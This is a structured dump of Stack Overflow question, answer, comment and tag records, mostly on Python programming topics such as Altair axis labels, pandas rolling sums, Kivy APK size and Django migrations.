type: UnansweredQuestion
has title: How to display Greek letters in Axis labels when plotting with Altair and Jupyter?
tagged with: altair
type: Question
tagged with: latex
upvote count: 5
has answer: http://stackoverflow.com/a/51953443
has answer: http://stackoverflow.com/a/50073125
tagged with: python
tagged with: jupyter
has body: How to write greek letters in Altair? I need to use some symbols for the axis labels. I am using Jupyter notebook
favorite count: 0

http://stackoverflow.com/comment/81634649
comment on: http://stackoverflow.com/q/47341170
score: 0
type: Comment
type: QuestionComment
has text: Nothing about this makes any sense. Can you describe clearly what it's supposed to do? The blink option does nothing until it reaches 5, and then it does even more nothing, but in no case does it blink anything.

http://stackoverflow.com/comment/81582313
comment on: http://stackoverflow.com/a/47315438
score: 0
type: AnswerComment
type: Comment
has text: Also, I just had a little change in mind, if the highest score is duplicating with a number but this number does not duplicate with the second highest, it would just output "No tiebreaker sys required"

http://stackoverflow.com/comment/81688644
has text: That works I guess, it creates one list with 9 elements, I can work with that!
comment on: http://stackoverflow.com/a/47368126
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/47300377
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81551882
accepted answer of: http://stackoverflow.com/q/47300303
score: 4
has comment: http://stackoverflow.com/comment/81551923
has body: Your method will get it done... but I don't like reading in the entire file and creating a dataframe just to count the columns. You could do the same thing by just reading the first line of each file and counting the number of commas. Notice that I add 1 because there will always be one less comma than there are columns. columns = [open(f).readline().count(',') + 1 for _, f in directory.items()]
answers question: http://stackoverflow.com/q/47300303
type: Answer
upvote count: 4
has comment: http://stackoverflow.com/comment/81551825

http://stackoverflow.com/q/47377380
answer count: 2
type: UnansweredQuestion
downvote count: 0
upvote count: 1
tagged with: python
linked to: http://stackoverflow.com/q/47272567
has title: 800mb apk file using buildozer kivy
has answer: http://stackoverflow.com/a/47379335
tagged with: buildozer
tagged with: android
score: 1
tagged with: kivy
has body: I'm new android developer. I am using python3.6 and kivy library to develop my program. I am using Crystax NDK and all was nice, except one thing, the apps are too big(800mb). How can I make them smaller? Python Code from kivy.app import App from kivy.uix.widget import Widget from kivy.properties import NumericProperty,ObjectProperty,ReferenceListProperty,StringProperty from kivy.vector import Vector from kivy.clock import Clock from kivy.uix.button import Button from random import randint,choice class RetryButton(Button): pass class PongBall(Widget): velocity_y = NumericProperty(0) velocity_x = NumericProperty(0) velocity = ReferenceListProperty(velocity_x,velocity_y) def move(self): self.pos = Vector(*self.velocity)+self.pos class PongPaddle(Widget): score = NumericProperty(0) def bounce_ball(self,ball): if self.collide_widget(ball): vx,vy = ball.velocity offset = (ball.center_y - self.center_y) / (self.height /10.0) bounced = Vector(-1 * vx, vy) vel = bounced * 1.1 ball.velocity = vel.x, vel.y + offset class PongGame(Widget): ball = ObjectProperty(None) player1 = ObjectProperty(None) player2 = ObjectProperty(None) win = NumericProperty(0) middle_rectangle_opacity = NumericProperty(1) winner = StringProperty('') def __init__(self,**q): super(PongGame,self).__init__(**q) self.btn = RetryButton(width = self.width) self.btn.count = 0 self.max_score = 10 def serve_ball(self,vel = (10,0)): self.ball.center = self.center self.ball.velocity = Vector(*vel).rotate(choice([randint(0,30),randint(330,360)])) def update(self,dt): if self.win == 0: self.ball.move() self.player1.bounce_ball(self.ball) self.player2.bounce_ball(self.ball) if self.player1.score &gt;= self.max_score or self.player2.score &gt;=self.max_score: if self.player1.score &gt;= self.max_score: self.winner = '1' else: self.winner = '2' self.win = 1 self.middle_rectangle_opacity = 0 if (self.ball.y &lt; self.y) or (self.ball.top &gt; self.height): self.ball.velocity_y *= -1 if self.ball.x&lt;self.x: self.playe…
has answer: http://stackoverflow.com/a/47378541
favorite count: 0
type: Question
tagged with: python-3.x

http://stackoverflow.com/comment/81405962
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47227708
has text: see https://github.com/matplotlib/matplotlib

http://stackoverflow.com/comment/81762041
type: Comment
comment on: http://stackoverflow.com/a/47354114
type: AnswerComment
has text: Oxford begs to [differ](https://en.oxforddictionaries.com/definition/tangent) _"2 A completely different line of thought or action. ‘Loretta's mind went off at a tangent’"_
score: 0

http://stackoverflow.com/q/47252202
answer count: 1
upvote count: 1
linked to: http://stackoverflow.com/q/7370801
has comment: http://stackoverflow.com/comment/81454791
downvote count: 1
favorite count: 0
type: AnsweredQuestion
score: 0
duplicate of: http://stackoverflow.com/q/7370801
tagged with: python
accepted answer: http://stackoverflow.com/a/47252247
has title: Any ideas on how to track time taken?
type: Question
has answer: http://stackoverflow.com/a/47252247
tagged with: pycharm
has body: So, recently i've been interested in checking out how long it takes for someone or something to finish a task. (For example, how long it takes for someone to answer a prompt) So i've been thinking of how to track the time taken. I've thought of it before, but failed miserably and didn't try again until now. This is what I tried before, but it didn't work properly for obvious reasons (because time.sleep waits for a few seconds but doesn't tell you how long it took). (I'm trying to track someone's time, not dictate it) But recently, I thought of a system that works but isn't precise. It goes something like this, and it works, but it's not precise. Because if I take 5.37 seconds to answer the prompt, it shows that I took 5 seconds. It works, but I was just wondering if it was possible to be more precise..

http://stackoverflow.com/comment/81666721
type: Comment
comment on: http://stackoverflow.com/a/47352069
type: AnswerComment
has text: @Reti43 1. OP do not imply he is using Python 3. It may be Python 2 too with `from future import unicode`. 2. It does not make sense to convert `result` to string representation of bits in bytes. 3. I will update answer for Python 3 too.
score: 0

http://stackoverflow.com/comment/81615312
has text: Thing is, I **can** kill the subprocess, in different ways, but all those will promptly end the process.. i.e. not gracefully. In the provided link I tried sending e.g. `SIGTERM` signal, which will kill the process but not gracefully.
type: QuestionComment
comment on: http://stackoverflow.com/q/47331887
score: 0
type: Comment

http://stackoverflow.com/comment/81539308
type: Comment
has text: In that case it sounds like an even more severe bug. Please open an issue with a repro!
type: QuestionComment
comment on: http://stackoverflow.com/q/47268722
score: 1

http://stackoverflow.com/q/47293216
answer count: 2
has body: I have a bot that takes a number of different commands and I'm trying scale it's ability to take arguments for all these commands. This is the syntax: !action db_table mandatory_arg arg1 arg2 arg3... Right now I have this functional but un-scalable regex for processing commands: ^!(\S*)\s?(\S*)\s?(\S*)\s?(\S*)\s?(\S*)\s?(\S*)\s?(\S*)\s?(\S*)$ It works, but it's not great and it's obviously limited to how many \S* I add in there. So how can I match an unlimited number of arguments in the following string? !dont match this match1 match2 match3 match4 etc... I've tried using a lookbehind but it only works for the first match. I've also tried making it [^ignore] the first part completely but again, this only works for the first argument since the others are also looking for that specific ignore. Finally, I also gave \K a shot but it didn't work out. !\w+\s\w+\s\w+\s\K(\S*)*
score: 2
has answer: http://stackoverflow.com/a/47293659
downvote count: 0
has comment: http://stackoverflow.com/comment/81537455
favorite count: 0
has comment: http://stackoverflow.com/comment/81537629
type: Question
accepted answer: http://stackoverflow.com/a/47293562
possible better answer: http://stackoverflow.com/a/47293659
upvote count: 2
has answer: http://stackoverflow.com/a/47293562
has title: Regex infitine capture groups after a specific string
has comment: http://stackoverflow.com/comment/81537691
tagged with: python
has comment: http://stackoverflow.com/comment/81537281
tagged with: regex
has comment: http://stackoverflow.com/comment/81537390
has comment: http://stackoverflow.com/comment/81537284
type: AnsweredQuestion

http://stackoverflow.com/q/47284057
type: Question
has comment: http://stackoverflow.com/comment/81538243
tagged with: drag-and-drop
score: 1
has body: I'm creating a GUI where I need to drag and drop different files into different wxFilePicker controls. Based on this example wxPython: Dragging a file into window to get file path I was able to get the filepath from one file into one filepicker or that same filepath for all filepickers with: def updateText(self, text): """ Write text to the wx control """ self.m_filePicker1.SetPath(text) self.m_filePicker2.SetPath(text) self.m_filePicker3.SetPath(text) Although it worked as it would be expected that solution its not useful. Do I need to create different panels for each wxfilepicker control or there is another way to solve this problem? Thank you in advance Ivo Here's the code #!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import division import wx import wx.xrc ######################################################################## class MyFileDropTarget(wx.FileDropTarget): """""" #---------------------------------------------------------------------- def __init__(self, window): """Constructor""" wx.FileDropTarget.__init__(self) self.window = window #---------------------------------------------------------------------- def OnDropFiles(self, x, y, filenames): """ When files are dropped, write where they were dropped and then the file paths themselves """ #self.window.SetInsertionPointEnd() self.window.updateText("\n%d file(s) dropped at %d,%d:\n" % (len(filenames), x, y)) print filenames for filepath in filenames: self.window.updateText(filepath + '\n') class Test_Panel(wx.Panel): def __init__(self, parent): wx.Panel.__init__(self, parent, id=wx.ID_ANY, pos=wx.DefaultPosition, size=wx.Size(500, 164), style=wx.TAB_TRAVERSAL) bSizer122 = wx.BoxSizer(wx.VERTICAL) sbSizer2 = wx.StaticBoxSizer(wx.StaticBox(self, wx.ID_ANY, u"Model"), wx.VERTICAL) bSizer3 = wx.BoxSizer(wx.VERTICAL) bSizer4 = wx.BoxSizer(wx.VERTICAL) bSizer10 = wx.BoxSizer(wx.HORIZONTAL) bSizer12 = wx.BoxSizer(wx.VERTICAL) self.m_staticText1 = wx.StaticText(sbSizer2.GetStaticBox(), wx.ID_AN…
tagged with: python
has answer: http://stackoverflow.com/a/47354722
linked to: http://stackoverflow.com/q/31391490
downvote count: 0
has title: Drag and Drop files to diferent WxFilePicker controls
upvote count: 1
type: UnansweredQuestion
tagged with: user-interface
answer count: 1
tagged with: wxpython
favorite count: 0

http://stackoverflow.com/comment/81651690
comment on: http://stackoverflow.com/q/47349561
has text: So is it correct, that I can just apply the norm.ppf() function, add my mean and my std to it, and then I "transform" my f.e. uniform distribution to a normal distribution?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/47256515
has body: Since you have two type of datetime ... s.apply(lambda x : pd.to_datetime(x, format="%d%m%Y") if x.isdigit() else pd.to_datetime(x, format="%d%b%Y")) Out[360]: 0 2017-06-29 1 2017-08-01 dtype: datetime64[ns]
has comment: http://stackoverflow.com/comment/81465007
upvote count: 5
type: Answer
score: 5
downvote count: 0
answers question: http://stackoverflow.com/q/47256212

http://stackoverflow.com/a/47867677
answers question: http://stackoverflow.com/q/47287016
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47287016
has body: thanks for help to answer my question and sorry for my delay to answer here! Well, I find a simple solution for this. I'm working with fits files. catalogue = pd.read_csv('cat7.csv', delimiter=(',')) catalogue.columns = ['ra', 'dec'] df1 = catalogue'ra','dec' ra = [] dec = [] for r in df1['ra']: ra.append(r) for d in df1['dec']: dec.append(d) for filename in os.listdir('6df'): print('reading file ' + filename) if filename.endswith('.fits'): hdulist = fits.open('6df/' + filename) try: ra1 = hdulist[2].header['ra'] dec1 = hdulist[2].header['dec'] for i in range(0, len(df1)): if (int(ra1) == int(ra[i]) and int(dec1) == int(dec[i])): shutil.copy('6df/' + filename, 'type/' + filename) print(filename + ' copiado') break except: shutil.copy('6df/' + filename, 'SEM_RA_DEC/' + filename)
type: Answer
score: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/85276633
has text: Exactly. Accumulate some reputation, then answer. We all had to start, you will get there ;-)
type: Comment
comment on: http://stackoverflow.com/a/49122074
score: 0
type: AnswerComment

synthesizer
tags question: http://stackoverflow.com/q/47359781
type: Tag
tag name: synthesizer

http://stackoverflow.com/a/47361781
downvote count: 1
has body: Have you tried pip install? A good thing to remember is pip usually requires sudo on linux distributions. Also, for some modules it's easier to use conda, since it takes care of dependencies. It this is the best general information I can give. If you told me some packages you've tried to install, that would help a lot!
answers question: http://stackoverflow.com/q/47361755
type: Answer
score: -1
upvote count: 0

http://stackoverflow.com/q/47271866
upvote count: 1
has body: I really need your help, did extensive searching online but couldn't figure out, why I can't open the jupyter notebook from my terminal. If I type in jupyter notebook in the terminal, it says "Error executing Jupyter command 'notebook': [Errno 2] No such file or directory". So I checked if it's even installed with the command jupyter --version and the result was "4.3.0". Then I tried to change the directory to the path to the config-dir aswell as the data-dir, neither one did work. So I tried to uninstall with pip uninstall jupyter and I got the output "Cannot uninstall requirement jupyter, not installed". I tried to re-install it aswell with pip install --upgrade --force-reinstall --no-cache-dir jupyter but didn't work too. Can anyone help? How can I delete everything related to python from my mac so I can install it from zero again? Thanks for help! --batman
has title: Can't open jupyter notebook from terminal (Python 3.6)
favorite count: 0
tagged with: jupyter-notebook
type: Question
tagged with: python-3.x
tagged with: terminal
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81565387
tagged with: python
has comment: http://stackoverflow.com/comment/81542006
has comment: http://stackoverflow.com/comment/81503922
tagged with: macos-sierra
has comment: http://stackoverflow.com/comment/81518089
answer count: 0
score: 1
downvote count: 0

http://stackoverflow.com/q/47230257
has body: I'm trying to compute the rolling sum of the last 12 months of a numerical column that's grouped by an entity ID. My data looks somewhat like this: eID perioddate 123456 14 ABC 2011-01-31 31773.0 74 ABC 2011-01-31 31773.0 35 ABC 2011-01-31 31773.0 96 ABC 2011-01-31 31773.0 57 ABC 2011-04-30 11209.0 18 ABC 2011-04-30 11209.0 81 ABC 2011-07-31 11451.0 44 ABC 2011-07-31 11451.0 07 ABC 2011-07-31 11451.0 70 ABC 2011-10-31 20062.0 34 ABC 2011-10-31 20062.0 98 ABC 2011-10-31 20062.0 62 ABC 2012-01-31 42512.0 26 ABC 2012-01-31 42512.0 90 ABC 2012-01-31 42512.0 56 ABC 2012-01-31 42512.0 24 ABC 2012-04-30 41799.0 92 ABC 2012-04-30 41799.0 60 ABC 2012-07-31 41874.0 28 ABC 2012-07-31 41874.0 99 ABC 2012-07-31 41874.0 69 ABC 2012-10-31 46783.0 And I want each row to have the rolling sum as long as there is at least a full year of history, so my resulting new column would look like this: eID perioddate 123456 123456_ltm 14 ABC 2011-01-31 31773.0 74 ABC 2011-01-31 31773.0 35 ABC 2011-01-31 31773.0 96 ABC 2011-01-31 31773.0 57 ABC 2011-04-30 11209.0 18 ABC 2011-04-30 11209.0 81 ABC 2011-07-31 11451.0 44 ABC 2011-07-31 11451.0 07 ABC 2011-07-31 11451.0 70 ABC 2011-10-31 20062.0 74495.0 34 ABC 2011-10-31 20062.0 74495.0 98 ABC 2011-10-31 20062.0 74495.0 62 ABC 2012-01-31 42512.0 85234.0 26 ABC 2012-01-31 42512.0 85234.0 90 ABC 2012-01-31 42512.0 85234.0 56 ABC 2012-01-31 42512.0 85234.0 24 ABC 2012-04-30 41799.0 115824.0 92 ABC 2012-04-30 41799.0 115824.0 60 ABC 2012-07-31 41874.0 146247.0 28 ABC 2012-07-31 41874.0 146247.0 99 ABC 2012-07-31 41874.0 146247.0 69 ABC 2012-10-31 46783.0 172968.0 From similar questions I've tried the following: fx = lambda x: x.rolling(4).sum() df[id + '_ltm'] = df.groupby(['eID','perioddate'])[id].apply(fx) Unfortunately I just get NaN from the above. Am I missing something obvious?
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81411217
score: 0
tagged with: pandas-groupby
has answer: http://stackoverflow.com/a/47230413
tagged with: pandas
has comment: http://stackoverflow.com/comment/81411242
answer count: 1
has title: Pandas LTM sum with duplicates
type: Question
accepted answer: http://stackoverflow.com/a/47230413

http://stackoverflow.com/comment/81821122
comment on: http://stackoverflow.com/a/47432843
type: AnswerComment
score: 0
type: Comment
has text: Hi it is giving ('(a,b)', 'station south chennai', 'station punjab chandigarh') ('(c,d)', 'station jammu katra', 'city punjab chandigarh') not complete line starting from journey and also please tell how u are defining that either station or city word should be there as when i give <<journey (a,b) from tree south chennai to station punjab chandigarh>> it comes in result it should not come as i have placed <<tree>> in place of station or city

http://stackoverflow.com/a/47299382
upvote count: 1
has body: Let's create/simulate a dictionary 'foo' containing 2 keys 'f' and 'm'. The value stored against each of these keys is a list of 1000 elements. &gt;&gt;&gt; foo = {'f': ['x']*1000, 'm': ['y']*1000} &gt;&gt;&gt; len(foo['f']) 1000 &gt;&gt;&gt; len(foo['m']) 1000 &gt;&gt;&gt; Now, let's initialize an empty list 'bar' to store the desired output. &gt;&gt;&gt; bar = [] &gt;&gt;&gt; A list can be extended to include elements from other list in the original list. Let's use this to extend 'bar' to contain as many 'f' as the number of elements in foo['f']. &gt;&gt;&gt; bar.extend(['f']*len(foo['f'])) &gt;&gt;&gt; Repeat the same for foo['m'] &gt;&gt;&gt; bar.extend(['m']*len(foo['m'])) &gt;&gt;&gt; Now, 'bar' is a list of 2000 elements - first 1000 elements are 'f' and next 1000 elements are 'm'. Verifying the values against indices 0, 999 (first 1000 elements) and 1000, 1999 (remaining 1000 elements) prove the same. &gt;&gt;&gt; len(bar) 2000 &gt;&gt;&gt; bar[0] 'f' &gt;&gt;&gt; bar[999] 'f' &gt;&gt;&gt; bar[1000] 'm' &gt;&gt;&gt; bar[1999] 'm' &gt;&gt;&gt;
answers question: http://stackoverflow.com/q/47299108
score: 1
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/81551038

http://stackoverflow.com/q/47280207
has answer: http://stackoverflow.com/a/47282940
has comment: http://stackoverflow.com/comment/81511048
has comment: http://stackoverflow.com/comment/81511316
answer count: 3
tagged with: algorithm
has answer: http://stackoverflow.com/a/47280998
score: 1
has title: Calculate all the subsets of a list in python using java approach
tagged with: java
has comment: http://stackoverflow.com/comment/81512463
tagged with: python
tagged with: backtracking
type: Question
has comment: http://stackoverflow.com/comment/81512904
has answer: http://stackoverflow.com/a/47280303
type: UnansweredQuestion
downvote count: 0
upvote count: 1
has body: I'm working through some interview problems and one of the classic ones, which uses backtracking, is to calculate the powerset (all the subsets) of a list. I have the java solution for the problem: public List&lt;List&lt;Integer&gt;&gt; subsets(int[] nums) { List&lt;List&lt;Integer&gt;&gt; list = new ArrayList&lt;&gt;(); Arrays.sort(nums); backtrack(list, new ArrayList&lt;&gt;(), nums, 0); return list; } private void backtrack(List&lt;List&lt;Integer&gt;&gt; list , List&lt;Integer&gt; { tempList, int [] nums, int start){ list.add(new ArrayList&lt;&gt;(tempList)); for(int i = start; i &lt; nums.length; i++){ tempList.add(nums[i]); backtrack(list, tempList, nums, i + 1); tempList.remove(tempList.size() - 1); } } I'm trying to do the same thing but using python instead: class Solution: def subsets(self, nums): lista = [] self.backtrack(lista, [], sorted(nums), 0) return lista def backtrack(self, lista, tempList, nums, start): lista.append(tempList) for i in range(start, len(nums)): tempList.append(nums[i]) self.backtrack(lista, tempList, nums, i+1) tempList.pop() I printed the tempList and it seems to be working as expected. The problem I believe is that it lista.append(tempList) is not working as I expected. Is there some particularity in python that is yielding this different result? Thanks!
has comment: http://stackoverflow.com/comment/81510877
favorite count: 0

http://stackoverflow.com/comment/81628245
type: QuestionComment
comment on: http://stackoverflow.com/q/47306805
has text: oops, I assumed Linux.
score: 0
type: Comment

http://stackoverflow.com/comment/81588330
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47309497
has text: by the way second run of my_function gives an Error: "ValueError: The truth value of a Series is ambiguous. Use a.empty, a.bool(), a.item(), a.any() or a.all()." 2nd run on "if not Pi" causes this most likely...

http://stackoverflow.com/q/47292020
accepted answer: http://stackoverflow.com/a/47292345
linked to: http://stackoverflow.com/q/419163
type: Question
upvote count: 0
tagged with: cs50
score: -5
answer count: 2
tagged with: undefined
tagged with: variables
tagged with: defined
favorite count: 0
has answer: http://stackoverflow.com/a/47292345
has comment: http://stackoverflow.com/comment/81534666
type: AnsweredQuestion
has body: Python is saying that the name 'height' is not defined, and I have no idea why that is, as according to my logic, I return the variable height, so I would be able to access it within my for loop? Can someone point me in the right direction? Thanks. Edit: the get_int() is a function inside the cs50 library. import cs50 def main(): print("Enter a number between 0 and 26: ", end="") i = get_height("Enter height: ", end="") def get_height(): while True: height = get_int() if height &lt;= 0 or height &gt;= 23: break return height for i in range(height): print(" " * (height - i), end="") print("#" * (i + 2), end="") print("") if __name__ == "__main__": main()
downvote count: 5
has comment: http://stackoverflow.com/comment/81534585
has answer: http://stackoverflow.com/a/47292249
possible better answer: http://stackoverflow.com/a/47292249
has comment: http://stackoverflow.com/comment/81534805
tagged with: python
has title: Python 'height' is not defined
has comment: http://stackoverflow.com/comment/81535770

http://stackoverflow.com/q/47293723
has comment: http://stackoverflow.com/comment/81538524
has comment: http://stackoverflow.com/comment/81538327
tagged with: python
accepted answer: http://stackoverflow.com/a/47294895
has answer: http://stackoverflow.com/a/47294530
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47294895
has comment: http://stackoverflow.com/comment/81538489
score: 0
answer count: 2
has title: Python loop ending but then ends but then repeats for no reason
has body: I am making a program for the backend of a profiling system for my exam practice. I have the username and passwords stored in a .txt file. It says it is valid when I enter the password and goes to the next part of the program but then loops back and asks for the details again??? Here is my code where I think the problem is: def Login(): #Login function f = open('login.txt','r') username = f.readline().strip() password = f.readline().strip() usernameLog = input('Please enter your username: ') validuser = False while validuser == False: if usernameLog == username: print('Username accepted') time.sleep(1) userpassLog = input('Please enter a password: ') if userpassLog == password: print('Successfully logged in') time.sleep(0.5) Options() validuser = True else: print('Please enter a valid password') validuser = False else: print('Invalid username please re-enter it.') validuser = False Login() f.close()
upvote count: 1
possible better answer: http://stackoverflow.com/a/47294530
has comment: http://stackoverflow.com/comment/81538280
downvote count: 1
favorite count: 0
type: Question

telnet
tags question: http://stackoverflow.com/q/47340498
type: Tag
tags question: http://stackoverflow.com/q/47226895
tag name: telnet

http://stackoverflow.com/comment/81415524
has text: @Caleb_McCreary I literally quoted from that page.. and no, there isn't a difference unless they had said "discrete" and "continuous", and discrete doesn't make sense between 0 and 1. Check the answer, the two functions are actually the same, seems like just a convention for matlab users and to confuse/annoy others
comment on: http://stackoverflow.com/q/47231852
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/q/47378542
downvote count: 0
tagged with: resnet
tagged with: kaggle
tagged with: keras
favorite count: 0
has title: kaggle could not download resnet50 pretrained model
type: Question
has answer: http://stackoverflow.com/a/56724279
upvote count: 5
has comment: http://stackoverflow.com/comment/81709827
has body: I am trying to use resnet50 pretrained model on Kaggle kernel. But, when I run the following code, Error occurs and it could not download the pretrained model. How Can I make it work? from keras.applications.resnet50 import ResNet50 from keras.preprocessing import image from keras.applications.resnet50 import preprocess_input, decode_predictions import numpy as np model = ResNet50(weights='imagenet', include_top=False) Error: -> 1318 encode_chunked=req.has_header('Transfer-encoding')) 1319 except OSError as err: # timeout error ... Exception: URL fetch failure on https://github.com/fchollet/deep-learning-models/releases/download/v0.2/resnet50_weights_tf_dim_ordering_tf_kernels_notop.h5: None -- [Errno -2] Name or service not known All logs: Using TensorFlow backend. /opt/conda/lib/python3.6/importlib/_bootstrap.py:219: RuntimeWarning: compiletime version 3.5 of module 'tensorflow.python.framework.fast_tensor_util' does not match runtime version 3.6 return f(*args, **kwds) Downloading data from https://github.com/fchollet/deep-learning-models/releases/download/v0.2/resnet50_weights_tf_dim_ordering_tf_kernels_notop.h5 --------------------------------------------------------------------------- gaierror Traceback (most recent call last) /opt/conda/lib/python3.6/urllib/request.py in do_open(self, http_class, req, **http_conn_args) 1317 h.request(req.get_method(), req.selector, req.data, headers, -> 1318 encode_chunked=req.has_header('Transfer-encoding')) 1319 except OSError as err: # timeout error /opt/conda/lib/python3.6/http/client.py in request(self, method, url, body, headers, encode_chunked) 1238 """Send a complete request to the server.""" -> 1239 self._send_request(method, url, body, headers, encode_chunked) 1240 /opt/conda/lib/python3.6/http/client.py in _send_request(self, method, url, body, headers, encode_chunked) 1284 body = _encode(body, 'body') -> 1285 self.endheaders(body, encode_chunked=encode_chunked) 1286 /opt/conda/lib/python3.6/http/client.py in endhe…
tagged with: python
has answer: http://stackoverflow.com/a/50406788
has comment: http://stackoverflow.com/comment/81709762
score: 5
answer count: 3
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/76962127

http://stackoverflow.com/q/47227708
favorite count: 0
has comment: http://stackoverflow.com/comment/81408938
type: Question
has comment: http://stackoverflow.com/comment/81409076
upvote count: 2
type: UnansweredQuestion
has title: Matplotlib Not Working on Mac
downvote count: 0
has comment: http://stackoverflow.com/comment/81405897
has answer: http://stackoverflow.com/a/50707980
tagged with: python
has comment: http://stackoverflow.com/comment/81405962
has comment: http://stackoverflow.com/comment/81405940
has comment: http://stackoverflow.com/comment/81409007
has body: I'm running Python 2.7.14 on macOS High Sierra, and when I run my matplotlib script, the plot doesn't show up, and the script hangs. I've tried editing my ~/.matplotlib/matplotlibrc file multiple times, trying lots of backends, as other answers have suggested, but the problem persists. Please help.
has comment: http://stackoverflow.com/comment/81405948
score: 2
tagged with: matplotlib
answer count: 1
has comment: http://stackoverflow.com/comment/81405778
has comment: http://stackoverflow.com/comment/81405746
linked to: http://stackoverflow.com/q/50490426

http://stackoverflow.com/a/47294358
type: Answer
score: 3
has body: Under usual circumstances there is no difference between the figure background and the canvas background. So you may set the figure background to some color self.fig.set_facecolor("blue") In case you do not want to change the figure's background color (I can't think of any reason right now, but maybe there is one use case), you would need to make the figure background transparent, such that the canvas background color can shine through, self.fig.set_facecolor("none") self.setStyleSheet("background-color:blue;") This answer of mine gives some insight and also a test code to play with.
answers question: http://stackoverflow.com/q/47293835
upvote count: 3
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47293835

http://stackoverflow.com/q/47245932
tagged with: docker
accepted answer: http://stackoverflow.com/a/47246108
has comment: http://stackoverflow.com/comment/81442421
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47246108
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81442470
has comment: http://stackoverflow.com/comment/81442237
type: Question
linked to: http://stackoverflow.com/q/47244913
has body: When I run my container I'm trying to run "docker.py" from the root directory ("/") with "/usr/bin/python". I've checked the source image to ensure the python binary exists, I've uploaded docker.py to the docker image and run it with that binary successfully. However, when I try to create the image and then run the image, I get this error ("EOFError: EOF when reading a line") and I don't know what this means or where to start. Any help is appreciated. Thanks in advance! cat docker.py #!/usr/bin/python my_name = raw_input("Enter your name: ") print my_name quit() cat Dockerfile FROM python:2.7 ADD docker.py /docker.py CMD ["/usr/bin/python", "/docker.py"] docker build . Sending build context to Docker daemon 175.8MB Step 1/3 : FROM python:2.7 ---&gt; b1d5c2d7dda8 Step 2/3 : ADD docker.py /docker.py ---&gt; f55a19158773 Step 3/3 : CMD ["/usr/bin/python", "/docker.py"] ---&gt; Running in b830da5a2f5b ---&gt; ef5b878d203f Removing intermediate container b830da5a2f5b Successfully built ef5b878d203f SECURITY WARNING: You are building a Docker image from Windows against a non-Windows Docker host. All files and directories added to build context will have '-rwxr-xr-x' permissions. It is recommended to double check and reset permissions for sensitive files and directories. docker run ef5b878d203f Enter your name: Traceback (most recent call last): File "/docker.py", line 2, in &lt;module&gt; my_name = raw_input("Enter your name: ") EOFError: EOF when reading a line
tagged with: python
has title: docker python script doesn't execute properly
tagged with: dockerfile

http://stackoverflow.com/comment/81665611
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/47339358
has text: what shall i define it to?

http://stackoverflow.com/q/47371848
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/47371932
tagged with: python
has body: I have the code below to get the artists tags (genres) from last fm api. Each artist can have many tags like: {'artist': {'tags': {'tag': [{'name': 'alternative', 'url': 'https://www.last.fm/tag/alternative'}, {'name': 'indie', 'url': 'https://www.last.fm/tag/indie'}, {'name': 'electronic', 'url': 'https://www.last.fm/tag/electronic'}]}, I want to store all the tags of a artist in the artists[i]['tags']. The issue is that I'm just getting the last tag with this code: for artist in artist_data['artist']['tags']["tag"]: tags = artist["name"] artists[i]['tags'] = tags print(artists[i]) more related code: artists = {} for i,v in artists.items(): chosen = artists[i]['name'].replace(" ", "+") artist_response = requests.get('http://ws.audioscrobbler.com/2.0/?method=artist.getinfo&amp;format=json&amp;artist='+chosen+'&amp;api_key='+api_key) artist_data = artist_response.json() for artist in artist_data['artist']['tags']["tag"]: tags = artist["name"] artists[i]['tags'] = tags print(artists[i]) Do you know how to store all the tags in the artists[i]['tags']?
has title: Store all tags in artists[i]['tags']
accepted answer: http://stackoverflow.com/a/47371932
type: AnsweredQuestion
downvote count: 0
score: 1
upvote count: 1
answer count: 1
favorite count: 0
type: Question

http://stackoverflow.com/comment/81422462
comment on: http://stackoverflow.com/q/47236063
has text: Please google it.... This site is for solving problem in you code... thanks
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81434779
comment on: http://stackoverflow.com/a/47242020
score: 0
type: Comment
has text: You could then do ``return JsonResponse(context["ContextKey"])``
type: AnswerComment

http://stackoverflow.com/q/47356264
tagged with: django
tagged with: python
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47356289
tagged with: sqlite
has answer: http://stackoverflow.com/a/47356289
answer count: 1
has body: I have Django 1.9.1 installed: &gt;&gt;&gt; django.__version__ '1.9.1' And I had my model defined in main.models: from __future__ import unicode_literals from django.db import models class Collection: name = models.CharField(max_length=1024) desc = models.TextField() snap = models.ImageField() f = models.FileField() def __str__(self): return self.name; And I had already added "main" to INSTALLED_APPS in settings: INSTALLED_APPS = [ 'main', ... # Other Django stuff ] And when I run python manage.py makemigrations I get the following: ➜ python manage.py makemigrations No changes detected I've searched through the internet and it seems like no one has encountered a problem like this... Any help will be greatly appreciated!! Thanks!
has title: Django 1.9.1 - make migrations can't detect changes
type: Question

http://stackoverflow.com/comment/81537575
type: QuestionComment
has text: @DarkCygnus it should be possible to do this without converting the file externally. If I had any familiarity with these packages I'd be investigating it myself, starting with adding `encoding='utf-8'` to the `read_file` call.
score: 0
comment on: http://stackoverflow.com/q/47243879
type: Comment

http://stackoverflow.com/comment/81596368
has text: thank for the reminder and suggestion. new to stackoverflow
score: 1
comment on: http://stackoverflow.com/a/47322081
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81620024
score: 0
has text: @Demonking28 This is expected since in the for loop each time you create an images with a single color in all pixels (1280x720) no?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47333949

http://stackoverflow.com/q/47234590
downvote count: 0
tagged with: imshow
tagged with: python
tagged with: opencv
type: AnsweredQuestion
